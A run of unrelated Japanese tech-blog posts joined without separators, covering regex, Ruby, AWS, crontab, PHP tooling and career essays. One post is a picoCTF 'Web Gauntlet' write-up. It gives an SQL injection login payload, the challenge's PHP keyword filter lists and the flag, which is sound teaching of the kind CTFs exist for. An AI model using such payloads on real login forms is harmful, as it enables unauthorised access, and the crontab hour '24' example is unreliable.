甲信越地方のいち大学の学生で学祭委員であった私が周りの協力を得ながら大学祭を生中継したことを思い出しながら書いていきます。
元の資料は大学の総合情報処理センターの研究報告に記載しているのですが、これがまたShiftJISで記述してしまったが為にかなり見るのに苦労してしまったので、その内容を思い出しながらつらつらと書いていきますです。

## スマホなんて無かった時代に実現した「大学祭の中継」

当時、まだPHSもお元気な時代で今のガラホに近いいわゆる「iモード」携帯が普及し始めるかどうかと言う時代に「大学祭を中継したい」という奇妙奇天烈摩訶不思議なウルトラCを実現しようと言う話が学祭委員OBから持ち上がりました。私は当時国立大学の情報教育一期校の学部3年生で、面白く感じたのでやってみようと言うことを心に誓ったのです。当時のことですから無理だろうという人もたくさんいました。止めたほうが良いという人までいましたが、その制止をふりきって私は突き進みました。

## 困ったのは機材の調達とネットワークの拝借そしてシステム周り

当然、学祭委員の協力は微々たるもので当時の予算で機材を買うお金なんてありません。そこで私は大学という大きな教育機関の力を借りて、この難題に挑むことを考えました。

私の通っていた大学には総合情報処理センターなるものがありましたので、学生課を通じてその機材を借りられないか伺ったところ、センターのかたは快く引き受けてくださいまして、機材の調達は何とかなりました。

借りた機材は

* ビデオカメラ(勿論テープ式)＋三脚
* ノートPC
* キャプチャカード

でした。後の細々したもの(LANケーブルなど)は自腹を切りました。

次に、困ったのはネットワークをどうするかと言うことでした。当時無線LANなど皆無でありそのほかに考えられるのは学内PHS環境を使って流すと言うことでした。でも、これでは遅すぎてお話になりません。さらにいうと当時の機材では中継に耐えられる処理速度を持つPCは大きなデスクトップもしくはノートPCでした。あんなデカいのを持って歩いていたのを考えると今ではぞっとします。

そして、もう一つ困ったのは配信システムです。
当時、総合情報処理センターにはMOD(Multimedia On Demand)なるシステムがあり、それを借りる事をまず考えましたが、これは一旦録画したものを流すことはできても、即配信というわけには行きませんでした。そこでセンター付の担当教官と協議した結果、RealMediaのRealServerを借りることとしました。しかしこれには制限があり、無料枠では25人同時接続しかできませんでした。これだと少ないと思っていたのは私だけかと思いますが、当時はこれが性能限界でした。

## いざ実践

いろいろと調整もつきはじめて、いよいよ翌日本番と言うときに問題が発生しました。学祭委員の詰め所にネットワークがきていないことがわかったのです。今では考えられないでしょうが、ネットワークがきておらず、その建物のネットワーク管理をしている教官に頭を下げに下げて、なんとか一本回線を回して頂けることになりました。今考えるとここらへんの甘さが露呈しているなぁ、と思います。
なんとか中継にこぎ着けたのですが、問題はまだあり、外部から本当に見えていてるか確認しておく必要があったのです。
同じ学祭委員のご兄弟に頼んで(確か愛知だった気がしますが)そのPCから接続できるかを試験しました。こちらからRealServerを介してそのご兄弟に話しかけ、その兄妹からはチャットか何かで返事をもらったような気がしました。

## 当時はコンプライアンスも何もかもが希薄だった

さて、中継できていることも確認できたので、あとは実際に中継をしました。なんと言っても、一番の目玉は芸能人ステージの中継です。
名前はあえて言いませんが、お笑い芸人さんと双子デュオのステージだったと思います。いまでは絶対に無理だと思いますが、あのころはコンプライアンスというかそういう規範がまだどこにもない時代だったので、「中継させてください」のお願いに、なんだかわけがわからずにOKして頂いた、そんな気がします。

## 針よ振れろ、そして振り切れ

RealServerにはモニタ機能がありまして、何人接続しているかがわかっていました、芸能人ステージではたしか半分くらいのキャパしか埋まらなかった気がしています。そんなもんですよ、だって**宣伝も何もしていない、あったのはWebページの予告だけ**だったのですから。今は検索でリアルタイムに情報が手に入る時代ですが、当時はyahoo!くらいしか検索エンジンはなく、また私もPRの方法がよくわかっていたわけではないので、実験は微妙に失敗の匂いがしました。

## 今振り返って

TikTokなどの最先端の配信システムなどと比べれば吹いて飛ぶような存在でしたが、それでも多少見てくれる人もいたので自分で気には満足な半年間の試みでした。この場を借りて色々お力添えしてくださった方には感謝します。

## 大事だと思うこと
* 大人の力を借りよう
* 無理だと思っても、とりあえずやってみる事が大事
* コンテンツは大事、でも宣伝はもーーーっと大事

以上です。お楽しみ頂けましたかな？
[javascript] ISO stringを判定する正規表現

# 結論

```js
const reg = /^(\d{4}-[01]\d-[0-3]\dT[0-2]\d:[0-5]\d:[0-5]\d\.\d+([+-][0-2]\d:[0-5]\d|Z))$|^(\d{4}-[01]\d-[0-3]\dT[0-2]\d:[0-5]\d:[0-5]\d([+-][0-2]\d:[0-5]\d|Z))$|^(\d{4}-[01]\d-[0-3]\dT[0-2]\d:[0-5]\d([+-][0-2]\d:[0-5]\d|Z))$/
```

**テスト**

```js
console.log(reg.test("2022-04-20T11:32:00.000-04:00")) // => true
console.log(reg.test("2022-04-2011:32:00.000-04:00")) // => false
console.log(reg.test("2022-04-20")) // => false
console.log(reg.test("2022-W17-7")) // => false
console.log(reg.test("11:32:00.000-04:00")) // => false
```

# 参考

https://stackoverflow.com/questions/3143070/regex-to-match-an-iso-8601-datetime-string

https://sota1235.hatenablog.com/entry/2016/12/24/162718
【Ruby】initializeメソッド、引数の順番依存関係を取り除く

## initializeメソッドは引数の順番に依存している

次の例では、Fooのinitializeメソッドは３つの引数をとります。（hoge,piyo,bar)
デフォルト値はなく、それぞれの引数が必須です。

```ruby
Class Foo
  def initialize(hoge, piyo, bar)
    @hoge = hoge
    @piyo = piyo
    @bar = bar
  end
end
```

ここで重要なのは引数を正しい順番で渡さないといけないことです。 
newメソッドは引数の順番に依存します。 

```ruby
Foo.new(1,2,3)
=> hoge=1
=> piyo=2
=> bar=3

Foo.new(3,1,2)
=> hoge=3
=> piyo=1
=> bar=2

Foo.new(2,3,1)
=> hoge=2
=> piyo=3
=> bar=1
```

## Rubyのinitializeメソッドの引数の順番の依存を取り除く方法

### 1. ハッシュを使う

```ruby
Class Foo
  def initialize(args)
    @hoge = args[:hoge]
    @piyo = args[:piyo]
    @bar = args[:bar]
  end
end

# 引数にデフォルト値を設定する場合
Class Foo
  def initialize(args)
    @hoge = args[:hoge] || 12
    @piyo = args[:piyo] || 14
    @bar = args[:bar]
  end
end
```

initializeメソッドは引数をargsのみ設定しています。
argsはハッシュであり、入力の全てが含まれます。
initializeメソッドはこのハッシュから必要な引数を取得できます。 
この手法を活用すれば、引数の順番に対する依存が全て取り除かれ、初期化の際に使われる引数やデフォルト値の追加および削除がしやすくなります。

```ruby
Foo.new(
  :hoge => 1,
  :piyo => 2,
  :bar => 3
)
=> hoge=1
=> piyo=2
=> bar=3

Foo.new(
  :hoge => 11,
  :bar => 22,
  :piyo => 33
)
=> hoge=11
=> piyo=33
=> bar=22
```

### 2. キーワード引数を使う

```ruby
class Foo
  def initialize(hoge: 1, piyo: 2, bar: 3)
    @hoge = hoge
    @piyo = piyo
    @bar = bar
  end
end
```

```ruby
Foo.new(
    hoge: 1, 
    piyo: 2, 
    bar: 3
)
=> hoge=1
=> piyo=2
=> bar=3

Foo.new(
    hoge: 11, 
    bar: 22, 
    piyo: 33
)
=> hoge=11
=> piyo=33
=> bar=22
```

## 参考
https://mintaku-blog.net/ruby-args/

https://qiita.com/nakanishi03/items/825716dcd4dc5cf64354
vimが動かないときの対処法

## 環境
CentOS 7
Oracle VM 仮想環境

## 発生した問題
vimエディターのキーが何も効かない

## 試しに押したキー
Ctrl + C , ESC  ,Ctrl+Z , Insertキー, 全角/半角, ENTERキーなど

## 試したコマンド
:wq
:q

## 解決方法
**ScrLkキー**を押下

## 感想
意外と検索に引っかからないので自分用に。
MacでスクリーンショットをNotionに貼り付ける方法

# 背景
Notionにスクリーンショットを貼り付ける時、毎回 `/image` で画像を選んで貼り付けるのが面倒だったので、クリップボードから出来ないかなと思った。

# 解決方法
Appleの[Mac でコピー＆ペーストする方法](https://support.apple.com/ja-jp/HT209651#:~:text=%E3%80%8Ccontrol%E3%80%8D%E3%82%AD%E3%83%BC%E3%82%92%E6%8A%BC%E3%81%97%E3%81%AA%E3%81%8C%E3%82%89%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%B7%E3%83%A7%E3%83%83%E3%83%88%E3%82%92%E6%92%AE%E3%82%8B%E3%81%A8,%E3%82%B3%E3%83%94%E3%83%BC%EF%BC%86%E3%83%9A%E3%83%BC%E3%82%B9%E3%83%88%E3%81%A7%E3%81%8D%E3%81%BE%E3%81%99%E3%80%82)を参照すると、

> 「control」キーを押しながらスクリーンショットを撮ると、スクリーンショットがクリップボードに保存され、ペーストできる状態になります。

![ss 2022-12-12 17.59.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/245300/75e0a271-9668-3313-a8ae-007b91037334.png)

と書かれているので、`command + shift + control + 4`でスクリーンショットを撮ったあと、Notionへ貼り付けを行うことでスクリーンショットの貼り付けができるようになった。

# おまけ
[ユニバーサルクリップボード](https://support.apple.com/ja-jp/HT209460)について
> ユニバーサルクリップボードを使えば、手元の Apple デバイスでテキスト、画像、写真、ビデオをコピーして、別の Apple デバイスにペーストできます。

> ユニバーサルクリップボードは、連係機能のシステム条件を満たした Mac、iPhone、iPad で使えます。正常に働くのは、デバイス同士が近くにあり、それぞれ以下のように設定されている場合です。
各デバイスでそれぞれ同じ Apple ID を使ってサインインしている。
各デバイスで Bluetooth と Wi-Fi がオンになっている。
各デバイスで Handoff がオンになっている。

他のAppleデバイス持っていないので特に使うことないかな。
マルチテナントとAurora Serverless V2

こんにちは、大久保です。

先週 [Qiita Night～AWS～](https://increments.connpass.com/event/266692/) に参加して、いろいろと新たな知見を得ることができました。ありがとうございました。

私も『マルチテナントとAurora Serverless V2』でLTで発表させていただきました。MGReでの経験がどなたかの知見になっていったら嬉しいです。


## マルチテナントのアーキテクチャについて
マルチテナント型のSaaSは、以下のようなアーキテクチャーに分類することができます。
- サイロモデル
- プールモデル
- サイロ＋プールモデル（ハイブリッドモデル）

サイロモデルは、テナントごとに専用リソースが提供されるアーキテクチャです。他のテナントの影響を受けないシンプルなアーキテクチャとなりますが、インフラ構築の自動化等、テナントの増加に対して安定的な運用オペレーションを構築する必要があります。

プールモデルは、すべてのテナントでリソースを共有するアーキテクチャです。1つの環境でサービスを提供できるため、テナントの追加が容易であり、また、コンピューティングリソースを集約できることで、コスト効率が良いというメリットがあります。

ハイブリッドモデルは、サイロモデルとプールモデルのいいとこ取りとなります。運用オペレーションの手数は増えてしまいますが、拡張性と安定性のどちらも獲得することができます。

## MGReのアーキテクチャーの変遷

### 2017年：サイロモデル
テナントごとに環境を構築（シングルテナント）していきました。

アプリケーション実行環境はElasticBeanstalkで構築し、オートスケーリングも実現しています。

2017年当時はServerlessが存在しなかったため、DBはプロビジョンドAuroraにて提供しています。アクセス状況を計測して運用しながらDBインスタンスサイズを調整する等、スパイクアクセスへの対応がかなり大変でした。

### 2020年：プールモデル
すべてのテナントで環境を共有し、アプリケーションの迅速なバージョンアップをおこなえるようになりました。

アプリケーション実行環境はFargateで構築し、ElasticBeanstalkと比較して、オートスケーリングの速度が格段に速くなっています。DBはAurora Serverless V1を導入し、アクセス状況に応じてキャパシティを調整できるようになりました。

#### Aurora Serverless V1で困ったこと
おもにパフォーマンス周りで問題が発生することがありました。

スパイクアクセスのような急激な負荷上昇が合った場合、オートスケーリングの速度が追いつかず、一時的に処理が遅くなってしまう場合がありました。また、スケーリング中にアプリケーションからのDBコネクションが切れてしまう場合があり、その都度再接続が発生しておりました。

また、Readerレプリカがないためクエリの分散がおこなえず、リードヘビーなアクセスが多いとキャパシティに余裕がなくなってしまうことがあります。

### 2022年：ハイブリッドモデル
プールモデルでは、ノイジネイバー問題という特定のテナントがリソースを消費してしまう事象が発生する可能性があるため、現在はハイブリッドモデルを取り入れております。

また、DBには待望のAurora Serverless V2が選択できるようになり、順次アップグレードしております。

#### Aurora Serverless V2の良いところ
- 高速スケーリング（V1に比較してめちゃくちゃ速い（実測0.5秒程度でスケールアップ）です。）
- Readレプリカ（最大15インスタンスまで追加できるため、キャパシティが激増します。）
- Performance Insight（V1では使えなかった、クエリを詳細に分析することができます。）

MGReにおいては、プロビジョンドインスタンスが xlarge 以上だとコスト効率が良くなるというシミュレーション結果を得たため、シングルテナントにおいても順次導入しています。実際に 2xlarge x 3 (Writer/Reader x 2)を置き換えたところ50%以上のコスト削減効果がありました。

## まとめ
スケールアップとスケールアウトの両方の特性を持つAurora Serverless V2は、マルチテナント型のアーキテクチャとの相性はとてもよく、また、コスト効率にも優れているため、SaaSとしてのサービスを安定的に提供するための有力な選択肢となり得ると思います。
Vantage クイックスタート・インデックス

こんにちは！

ソフトウェアって「最初の設定とか面倒…」ということよくありますよね。Vantageについてもきっとそう思うことあるでしょう。

そこで、これだけのことを行えばとりあえず
　Vantageを初期セットアップし、
　データを格納する準備をし、
　実際にデータをインポートし、
　そのデータにアクセスしてみる
ができるだけの情報をまとまました。

これを参考にVantageにぜひ触ってしてみてください。

# クイックスタートの記事一覧
クイックスタートの記事として以下を展開しています。デプロイメントされたばかりのVantageに必要最低限の設定を行い、データをロードし、そのデータを検索するクエリーを投げる、Vantageの特徴を考慮しながらこれができるよう構成されています。

|記事タイトル|概要|
|:-|:-|
|[デプロイ後最初に行うべきこと - 日本語を利用するためのセットアップ](https://qiita.com/ykswi/items/f3945e3058acfadedd63)|デプロイされたVantageのデフォルト設定では特にレガシーシステムとの連携を行う上で必要だったりする「使用できる文字コード」の設定が足りなかったりします。その追加方法について解説します。|
|デプロイ後最初に行うべきこと - よく行うパラメータ変更（ビジネス利用向け）（後日投稿予定）|デプロイされたVantageのデフォルト設定では特にレガシーシステムとの連携を行う上で必要だったりする「使用できる文字コード」の設定が足りなかったりします。その追加方法について解説します。|
|[データベース？ユーザー？](https://qiita.com/ykswi/items/475c35ccfbc265536dc7)|Vantageをご利用いただく上で最初に引っかかるよくわからないこと、それがデータベースとユーザーの違いについてです。Vantageにおけるデータベースとユーザーという言葉が意味するものを解説します。|
|[ダウンロードサイトを知ろう！](https://qiita.com/ykswi/items/9462077765b26b958c28)|Vantageを利用していただく際に有用なソフトウェアがテラデータのダウンロードサイトで公開されています。クライアントユーティリティやコネクティビティツールなどダウンロードしてご利用ください|
|[Teradata Studio/Studio Expresssを使ってみよう！](https://qiita.com/ykswi/items/43d6f729eaa9c43e88e7)|Vantageにバンドルされるクエリー実行ツールVantage StudioおよびStudio Expressについて解説します。記事ではクエリー実行に特化してStudio Expressを中心に解説します。|
|[ユーザーデータの格納場所を作ろう！](https://qiita.com/ykswi/items/4b411a932ebf5979bfc9)|Vantageのデプロイ直後はスーパーユーザーDBCが持つ広大な空間とシステムの動作に必要なデータベース/ユーザーのみが作られた状態です。そこにユーザーデータを格納する場所を作成します。|
|[テーブルを作ろう！](https://qiita.com/ykswi/items/53c4b1145d88670d4dc2)|Vantageはカテゴリでいえばリレーショナル・データベースですのでデータはテーブルに格納されます。基本的な形のテーブルを作ってみます。|
|[プライマリ・インデックスって？](https://qiita.com/ykswi/items/1cce6dafef4ae0766d1b)|Vantageのテーブル定義で唯一考慮すべきポイントがプライマリ・インデックス。テーブルのプライマリ・インデックスをどのように指定するとよいのかを解説します。|
|[データを取り込もう！](https://qiita.com/ykswi/items/3203823245138ca9b79c)|作成したテーブルに実際にデータを取り込んでみます。この説明ではVantageのデータ・ロード・ツールであるTeradata Parallel Transporter（TPT）を使用してデータの取り込みを行います。|

#### Teradata Vantageへのお問合せ
[Teradata Vantage へのお問合せ](https://www.teradata.jp/About-Us/Contact)
非技術者がthirdwebでトークン発行をする流れ


:::note warn
ERC20の発行において各種税制や法規制を鑑みる必要があります。本記事ではあくまで技術的な発行の手順（テストネット）をまとめています。もし実際にメインネットで発行する際はご自身で調査、対応をお願い致します。
:::


https://thirdweb.com/ 

thirdweb というサービスを使うと手軽にテンプレートをもとにコントラクトをデプロイできます。細かい機能を実装するには自分で実装する必要がありますが、テンプレートから作れる範囲では非常に手軽にデプロイできて便利です。非技術者がトークン発行する流れをまとめます。


https://thirdweb.com/explore に行き Token をクリックします

![Screenshot 2022-12-12 at 13-58-11 thirdweb Explore Smart Contracts & Protocols.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29088/b11af9e0-9c9f-05aa-1996-ec02de2d6973.png)

Deploy Now をクリックします

![Screenshot 2022-12-12 at 13-58-15 Token - ERC20 Smart Contract Release.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29088/6588f35c-52b6-8056-a908-162d8161cd11.png)

色々記入しますしてデプロイします。

![Screenshot 2022-12-12 at 14-01-16 Token - ERC20 Smart Contract Release.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29088/070464b4-a7a5-a948-808f-3e92924007e1.png)

始めたの方はテストネットで書くにしてください。なおデプロイするのに必要なgoerliのETHは https://goerlifaucet.com/ などから入手してください。

コントラクトデプロイ後、mintToなどを使ってトークン発行ができます。18個の0を足す必要があるので注意してください。

![Screenshot 2022-12-12 at 14-37-40 otoshidama Goerli thirdweb.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/29088/b4cfab13-096c-685a-f5ee-ba51883c8e9a.png)

ERC20の発行は以上の流れでできます。
picoCTF Writeup picoGym Practice Challenges Web Gauntlet (注意<spoiler>)

# Web Gauntlet

https://zenn.dev/nanae/scraps/1725a534a6c7b2

https://blog.hamayanhamayan.com/entry/2021/12/05/115923

username = ad'||'min';
password = hoge

```:http://jupiter.challenges.picoctf.org:19593/filter.php
<?php
session_start();

if (!isset($_SESSION["round"])) {
    $_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($round === 1) {
    $filter = array("or");
    if ($view) {
        echo "Round1: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 2) {
    $filter = array("or", "and", "like", "=", "--");
    if ($view) {
        echo "Round2: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 3) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
    // $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round3: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 4) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
    // $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round4: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 5) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
    // $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round5: ".implode(" ", $filter)."<br/>";
    }
} else if ($round >= 6) {
    if ($view) {
        highlight_file("filter.php");
    }
} else {
    $_SESSION["round"] = 1;
}

// picoCTF{y0u_m4d3_1t_cab35b843fdd6bd889f76566c6279114}
?>
```

picoCTF{y0u_m4d3_1t_cab35b843fdd6bd889f76566c6279114}
【Python】.pydファイルを配置する

.pydファイルはPythonのパッケージと同フォルダに配置すればそのままimportして使用できる。

    (例)
    C:Python27¥Lib¥site-package¥cv2.pyd

↓.pydファイルについての参考ページ
[.pydファイルは、WindowsではDLLそのもの](https://qiita.com/dl_from_scratch/items/b3de647b41f2ad043155)
PHP laravel CarbonのオブジェクトをCarbonImmutableに変換する

:::note info
この記事は[miriwoお一人様 Advent Calendar 2022](https://qiita.com/advent-calendar/2022/miriwo)の12日目の記事です
:::

# 概要

- CarbonのオブジェクトをCarbonImmutableに変換する方法をまとめる

# 方法

- `toImmutable()`関数を用いることでCarbonのオブジェクトをCarbonImmutableに変換する事ができる
- 下記の様に使用する。（laravelのtinkerで確認）

    ```php
    use Carbon\Carbon;

    $now = Carbon::now();
    $nowImmutable = $now->toImmutable();
    
    $nowImmutable->isImmutable(); // true
    ```
【英語力０】英語プロクター受験体験記

はじめて英語プロクターでon.vue試験を受けてみたのでまとめてみます。

参考したリンク
 - [【最速】既婚子持ち社会人のクラウド初心者でも、1ヶ月半でAWS資格11冠制覇できる方法](https://qiita.com/mrpepper/items/64039b828c82e12ad35f)
 - [TRAINOCATE　AWSオンライン試験監督との英会話例](https://blog.trainocate.co.jp/blog/online-e_028)


試験とか  
- [AWS認定 Developer Associate](https://aws.amazon.com/jp/certification/certified-developer-associate/)
- 筆者、英語力０、資格としては高校の時にとった全商英検３級のみ

## 準備するもの
#### パスポート
必須のようです。確認する人が英語圏なので英語記載ものしかダメっぽい


## プロクターとのやりとり
確認事項と部屋を見せてください的なやりとりが何回かあるのでこれを最小限でクリアしたい
#### 勝利条件
- やりとりを最小限に止める
- 想定外の質問をされない

#### 実際の流れ
　最初にまずプロクターに話かけられる
プロクター：「％＆＄＃””＄＆＆＃””・・・」
自分：「Umm… please text」
　と言い、チャットでも「please test」と入力しました。以下チャットのみのやりとり
プロ：「okay」

その後「部屋見せてくれ」と「腕みせてくれ」的なこと言われてるはずですが、
送られてきたメッセージがわからなかったのでとにかく以下をやりました。
- 腕をくるくる見せる
- 机周り、部屋全体をぐるぐる映す  

プロ：「〜〜very good」
　なんとかクリア…

プロ：「〜〜〜exam.」
　多分、試験の確認事項的なメッセージが２回来る
自分：「ok」

プロ：「〜〜〜exam〜〜〜」
　多分、試験今から送ります的なこと言ってる
自分：「ok」

プロ：「〜〜〜〜〜〜」
　多分、試験が届いてたら返事してください的なこと言ってる
自分：「ok」
　とジェスチャーで丸作ってokアピールする
プロ：「〜〜good luck〜〜close〜〜〜」
　がんばって的なのと確認終わり的なこと言われる
自分：「ok」
　チャットを閉じて試験開始

試験中は以下を気をつけました
- 口元を覆わない
- 顔を画面に近づけすぎない
- 画面から顔をフレームアウトさせない


## 振り返り
英語で受験できた方が今後のスケジュール調整する上で有用なので今回お試し的に受けてみました。
感触として日本語プロクターと受験までの流れはほぼ同じで、そんなにもたつかず受験できました。
日本語で３回ほど自宅受験しているのでその経験も役に立ったかなと思いました。
英語力皆無なので想定外の質問されたら…と思ってましたが今回はありませんでした。
英語力磨きながら失敗した時はまた記事にしようと思います。
明日受けたい！平日夜に受けたい！ができるので英語受験とても有用だと思いました。
今後も利用します。
参考にさせていただいた方、リンク教えていただいた方本当にありがとうございました！
Linuxでファイルの定時実行

### 定時実行を定義用のファイルを開く：<br>
```
vi /etc/crontab
```
中身：<br>
![スクリーンショット 2022-12-12 170806.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/941840/458b6faf-5628-b1e2-8e44-a5c3b82b4558.png)

<br>
上の図のように、毎日の12:00に、ホームディレクターのシェルファイルを実行する。
<br>

### /etc/crontabファイルはない場合：
MacOSとか/etc/crontabファイルは存在しない可能：
```
crontab -e
```
<br>
中身の記述方法：

```
(分)(時)(日)(月)(曜日) 実行するコマンドのパス
```
<br>
例：
<br>

```
00 24 * * * bash ~/test.sh > ~/test_env
```
<br>
毎日の24:00に、ホームディレクターのtest.shを実行して、結果をホームディレクターのtest_envに記録する。
FuelPHP で PHPUnit を導入する際に、はまっとところ

備忘録

## PHPUnit のバージョンが分からない
FuelPHP は開発が進んでいるようで、進んでいるか分からない（[core](https://github.com/fuel/core)は開発されているが、[fuel](https://github.com/fuel/fuel)は開発が止まっているので...）ので、PHPUnit は安全に昔めの 4.8 台をインストールしました。
新しい PHPUnit だと、`PHPUnit/Autoload.php` がないので、使えません。

```json:composer.json
    "require": {
        ... 省略,
        "phpunit/phpunit": "^4.8"
    },
```

## PHP7 以前 の each などに関わるエラー

PHP8 を使っている場合は、出てきます。
黙って、PHP7 をダウンロードしましょう。自分は 7.3.33 にしました。
今回は、phpbrew というツールを使ってダウンロードします。

https://qiita.com/Nedward/items/7bf935f67cbf31ee0f71

ただ、phpbrew で PHP7 をインストールするのに、PHP8.0台が必要なので、`brew install php@8.0` と `brew link --force php@8.0` などで、8.0台をインストールします。
自分の場合は、環境変数を下のように設定して、

```sh:.bash_profile
# phpbrew
source ~/.phpbrew/bashrc
export OPENSSL_PREFIX=$(brew --prefix openssl@1.1)
export OPENSSL_CFLAGS="-I${OPENSSL_PREFIX}/include"
export CFLAGS="-I${OPENSSL_PREFIX}/include"
export OPENSSL_LIBS="-L${OPENSSL_PREFIX}/lib -lcrypto -lssl"
export PATH="/opt/homebrew/opt/php@8.0/bin:$PATH"
export LDFLAGS="-L$(xcrun --show-sdk-path)/usr/lib/system"
```

そして、次のコマンドを打ったら、ダウンロードできました。

```sh
phpbrew install 7.3.33 +pdo +mysql +default +zlib="$(brew --prefix zlib)" +openssl=$(brew --prefix openssl@1.1) -- --without-pcre-jit
```

`+pdo` と `+mysql` を忘れると後でインストールするのが面倒なので、忘れないようにしましょう。

## phpunit command not found

これも FuelPHP のライブラリの内容を変更します。
変更するのは、`app/core/packages/oil/config/oil.php` の 45, 46行目のところ。

```diff_php:app/core/packages/oil/config/oil.php
+		'autoload_path' => VENDORPATH.'/phpunit/phpunit/PHPUnit/Autoload.php' ,
+		'binary_path'   => VENDORPATH.'bin/phpunit' ,
```

これで直ります。
Web系の会社しか経験のない私がPHCに入社して感じた今までの会社との違い

:::note info
この記事は[PHC BXC Advent Calendar 2022](https://qiita.com/advent-calendar/2022/phc_bxc)12日目の記事です
:::

株式会社PHC メディコム事業部 ビジネストランスフォーメーションセンター((以下、BXセンター))にSREとして転職し2ヶ月ほど経過したので感想とか

https://org.digicare.jp

## 私の今までの経歴
新卒からこれまで何度か転職しましたが、所属していたのはいずれも所謂「今どきのWeb系企業」ばかりでした。なので企業文化的には似通った部分が多く、転職に際してカルチャーギャップを感じることは少なかったです。

それに対してPHCのメディコム事業部前身まで含めると創業50年の伝統のある組織です。BXセンターは社内ベンチャーに近いような立ち位置とはいえ入社後にギャップを感じないか不安でした。

## 期待通りだった点

転職する上で期待してた部分でギャップを感じなかった点とか。

### 裁量は大きい

これは立場にもよるし上司の方針による部分もあるかもですが、手を上げれば割となんでもやらせてもらえます。PHC自体は大企業ですが、BXセンターはまだ100人に満たない小さい組織なのでフットワークは軽いですね。

また、まだまだ各プロダクトの開発体制や基盤は整っているとは言い難いので、SREとしてはやることが多く退屈しません。

### 予算的なことがボトルネックになることは少ない
裁量が大きいのはいいことなのですが、ベンチャーとかだと資金的な余裕がないことが多いので予算的な部分がボトルネックになって新しいことをさせてもらえないということが往々にしてあります。実際に自分も何度も経験しました。BXセンターはベンチャー的な組織ですがPHC内での重点注力領域となっており安定的に予算が貰えているため、予算的な部分がボトルネックになることは少なさそうです。

### 有給が多い
今までの会社が少なかった訳ではないのですが、PHCはそれ以上に多いです。自分から見ると十二分な有給が一年目から付与されます。

## ちょっと残念だった点

ある程度入社前から覚悟はしてたとはいえ不満を感じてる点です。いずれも大した問題じゃないですが。

### Macユーザーが少なくWindowsユーザーが多い
これが一番大きいですね。私は本業・副業含めて10社以上関わってきましたが、自分の観測範囲内だと**エンジニアはほぼ100%Mac**を使っていました。そもそも支給されるのがMac一択だった。

BXセンターでは支給されるPCはMac・Windowsどちらでも選択できますが、エンジニアでもWindowsを使ってる人が多いです。自分の中では「**エンジニア=Macで開発**」が常識だったので、これは驚きましたね。

### メールのやり取りが必要・重要な連絡がメールで来る
今までも会社のEメール自体は存在していましたが、仕事のやりとりはほぼslackで完結するので、業務でメールを使うことはほぼありませんでした。社外の人とやりとりするのもslack or google workspaceだったり。BXセンターの組織内での連絡はslackで行われますが、全社的な連絡はメールできますし、人事的なやりとりもメールでしないといけません。私も社会人歴それなりに長くなってきましたが、仕事で日常的にメールを使うのはほぼ初めてでした。

### 社内システムが古すぎる

勤怠や事務などの社内システムが古過ぎます。今までの会社でも古いシステムを使い続けてるケースはありましたが、**レベルが違います**。MacのChromeだと動かなかったりする。

### 研修が多い
研修とは言ってもWebで受けるやつの話です。どの会社でも多かれ少なかれありますが、やっぱPHCは多いですね。しかも前述した古すぎるシステムの上に乗ってるので研修体験は悪い。

## 最後に

PHCのBXセンターはベンチャー気質で裁量が大きく、尚且つ資金的な余裕もあるので細かい予算のことを気にせずガンガン挑戦のできる珍しい環境だと思います。また「ちょっと残念だった点」に関しても、今後改善していくような動きもあります。

BXセンターに少しでも興味を持っていただけたらぜひ応募していただけますと嬉しいです！
https://careers.digicare.jp/entry/engineer/
特定のプロセスについてtopコマンドで一定時間毎にデータを入手

 CPU/メモリの利用状態を全体、および各プロセスごとに確認する際に **topコマンド** を用いることがあると思います。今回は特定のプロセスについてtopコマンドで一定時間ごとにデータを入手したものをファイルに保存したいと思います。さらに、そのデータから特定の値のみ（CPU使用率だけなど）抽出するにはどうすればよいか紹介したいと思います。

topコマンドによって監視するプロセスはなんでもいいのですが今回はyesコマンドとします。

まず以下のようにyesコマンドをバックグラウンドで実行します。

```bash:yesコマンドをバックグラウンドで実行
yes > /dev/null &
```

出力を `/dev/null ` にリダイレクトしています。`/dev/null`に送られたデータは全て破棄されます。
`&`をつけることによりコマンドをバックグラウンドで実行できます。

ではtopコマンドの結果からyesコマンドによるプロセスの行のみを抽出したいと思います。

topコマンドはデフォルトで3秒ごとにデータを更新します。今回は`-n 3` オプションにより3回分抽出して`top.txt`というファイルに保存してみましょう。

```bash:topコマンドの結果からyesコマンドの行のみ抽出してファイルに保存
top -b -n 3 | grep --line-buffered yes > top.txt
```

topコマンドの結果から、名前に`yes`という文字列の入るプロセスの行を抽出してファイルに保存しています。

ここでbオプション付けないと上手く動作してくれません。先頭にtopの結果以外の文字が混入してしまいます。
この理由は正直分かりませんでした...。キー操作による入力が勝手にまじっちゃうのかな？ （有識者の方教えていただけると嬉しいです）

ポイントとしては`grep`のオプションとして `--line-buffered` を用いることです。
[stackoverflowの解答](https://stackoverflow.com/questions/18525448/why-does-top-grep-file-not-work)を参考にしました。
デフォルトでは`grep`はバッファのサイズを超えるまで出力をバッファリングします。そのためこのオプションを付けないと`top.txt`に何も書き込まれせん。これは実行環境によって異なるかもしれません。`--line-buffered`オプションにより1行単位で出力させることができます。

それでは作成された`top.txt`を見てみましょう。

```bash:top.txt
